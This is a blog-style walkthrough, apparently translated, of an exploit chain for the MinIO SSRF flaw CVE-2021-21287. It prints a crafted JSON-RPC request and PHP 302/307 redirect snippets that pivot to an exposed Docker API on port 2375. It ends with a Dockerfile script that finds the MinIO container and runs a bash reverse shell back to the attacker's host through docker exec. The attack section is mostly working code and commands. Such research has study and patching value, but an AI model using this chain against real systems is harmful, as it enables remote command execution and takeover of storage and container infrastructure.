Post

Minio Ssrf Vulnerability Cve 2021 21287

Minio Ssrf Vulnerability Cve 2021 21287

MinIO SSRF Vulnerability CVE-2021-21287

Vulnerability Description

As some environments in work and life gradually migrate to the cloud, the demand for object storage has gradually increased. MinIO is an open source object storage system that supports deployment in the private cloud.

Vulnerability Impact

MinIO

Vulnerability reappears

Since we have chosen to start with MinIO, let’s first learn about MinIO.

Then start with the entry point (front-end interface).

When the User-Agent satisfies the regular .*Mozilla.*, we can access the front-end interface of MinIO. The front-end interface is a JsonRPC that is implemented by itself:

img

What we are interested in is its authentication method. We can find an RPC method at will. We can see that it calls webRequestAuthenticate at the beginning. Follow up and find that jwt authentication is used here:

img

The common attack methods of jwt are mainly as follows:

Set alg to None, tell the server not to perform signature verification

If ​​alg is RSA, you can try to modify it to HS256, that is, tell the server to use the public key to verify the signature.

Detonation Signature Key

Looking at MinIO’s JWT module, I found that alg was checked and only the following three signature methods were allowed:

img

This blocks the first two bypass methods, let alone blasting, which is usually only a means when there is no way.

There is no breakthrough in authentication, so we can see which RPC interfaces do not have permission verification.

A interface was quickly found, LoginSTS.

The code simplifies it as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
    ctx := newWebContext(r, args, "WebLoginSTS")

    v := url.Values{}
    v.Set("Action", webIdentity)
    v.Set("WebIdentityToken", args.Token)
    v.Set("Version", stsAPIVersion)

    scheme := "http"
    // ...

    u := &url.URL{
        Scheme: scheme,
        Host:   r.Host,
    }

    u.RawQuery = v.Encode()
    req, err := http.NewRequest(http.MethodPost, u.String(), nil)
    // ...
}

No authentication bypass problem was found, but another interesting problem was found.

What’s wrong with this process?

Because the request header is user-controlled, any host can be constructed here, and then an SSRF vulnerability can be constructed.

Let’s test it out and send the following request to https://192.168.227.131:9000, where the value of Host is the port that I open local ncat (192.168.1.142:4444):

1
2
3
4
5
6
7
POST /minio/webrpc HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80

{"id":1,"jsonrpc":"2.0","params":{"token":  "Test"},"method":"web.LoginSTS"}

Received the request successfully:

img

It can be confirmed that there is an SSRF vulnerability here.

After careful observation, we can find that this is a POST request, but neither Path nor Body can control it. All we can control is a parameter WebIdentityToken in the URL.

However, this parameter has been URL encoded and cannot inject other special characters such as newline characters.

Fortunately, Go’s default http library will track 302 jumps, and it’s both GET and POST requests.

Use PHP to simply construct a 302 jump:

1
2
<?php
header('Location: https://192.168.1.142:4444/attack?arbitrary=params');

Save it as index.php and start a PHP server:

img

Point the Host to this PHP server.

img

Some restrictions have been relaxed. Combined with my previous understanding of this intranet, we can try to attack the 2375 port of the Docker cluster.

2375 is the interface of the Docker API. It uses the HTTP protocol to communicate and will not listen to TCP addresses by default. This may be opened to the intranet address to facilitate the use of other intranet machines.

In the case of Docker unauthorized access, we can usually use docker run or docker exec to execute arbitrary commands in the target container (if you don’t understand, please refer to this article).

Both APIs are POST requests, while the SSRF we can construct is a GET.

Remember how we got this GET-type SSRF?

How to construct a Path-controllable POST request?

I thought of 307 jump. 307 jump is an HTTP status code defined in [RFC 7231] (https://tools.ietf.org/html/rfc7231#page-58), which is described as follows:

The 307 (Temporary Redirect) status code indicates that the target resource resides temporarily under a different URI and the user agent MUST NOT change the request method if it performs an automatic redirection to that URI.

The characteristic of 307 jump is that the method of the original request will not be changed. That is to say, when the server returns the 307 status code, the client will send a request for the same method according to the address pointed to by Location.

We can use this feature to get POST requests.

Simply modify the previous index.php:

1
2
<?php
header('Location: https://192.168.1.142:4444/attack?arbitrary=params', false, 307);

Trying an SSRF attack, I received the expected request:

img

Bingo, gets an SSRF with a POST request, although there is no Body.

Going back to the Docker API, I found that I still cannot use the run and exec APIs because both APIs need to transmit JSON format parameters in the requested Body, and our SSRF here cannot control the Body.

Continuing to flip through the Docker documentation, I found another API, Build an image:

img

Most of the parameters of this API are transmitted through Query Parameters, which we can control.

A Git repository URI or HTTP/HTTPS context URI. If the URI points to a single text file, the file’s contents are placed into a file called Dockerfile and the image is built from that file. If the URI points to a tarball, the file is downloaded by the daemon and the contents therein used as the context for the build. If the URI points to a tarball and the dockerfile parameter is also specified, there must be a file with the corresponding path inside the tarball.

This parameter can be passed into a Git address or an HTTP URL, and the content is a Dockerfile, a Git project containing a Dockerfile or a compressed package.

That is, the Docker API supports building images by specifying remote URLs without requiring me to write a Dockerfile locally.

So, I tried writing a Dockerfile like this to see if I can build this image, and if so, then my port 4444 should receive a request from wget:

1
2
FROM alpine:3.13
RUN wget -T4 https://192.168.1.142:4444/docker/build

Then modify the previous index.php and point to port 2375 of the Docker cluster:

1
2
<?php
header('Location: https://192.168.227.131:2375/build?remote=https://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);

I carried out an SSRF attack, waited for a while, and I received the request:

img

Perfect, we can execute arbitrary commands in the target cluster container.

At this time, it is still a little short of our goal to win MinIO, and the subsequent attack is actually relatively simple.

Because we can execute any command now, we will no longer be restricted by the SSRF vulnerability. We can directly rebound a shell, or we can directly send any data packet to the Docker API to access the container.

So I wrote a script that automates attacking MinIO containers and puts them in the Dockerfile to attack when building them, and uses docker exec to execute the command to bounce shells in MinIO containers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FROM alpine:3.13

RUN apk add curl bash jq

RUN set -ex && \
    { \
        echo '#!/bin/bash'; \
        echo 'set -ex'; \
        echo 'target="https://192.168.227.131:2375"'; \
        echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
        echo 'for item in ${jsons[@]}; do'; \
        echo '    name=$(echo $item | base64 -d | jq -r ".Image")'; \
        echo '    if [[ "$name" == *"minio/minio"* ]]; then'; \
        echo '        id=$(echo $item | base64 -d | jq -r ".Id")'; \
        echo '        break'; \
        echo '    fi'; \
        echo 'done'; \
        echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
        echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
    } | bash

What this script does is relatively simple. One is to traverse all containers. If you find that the name of its mirror contains minio/minio, you think that this container is the container where MinIO is located.

Finally, successfully get the shell of the MinIO container

Reference article

This post is licensed under CC BY 4.0 by the author.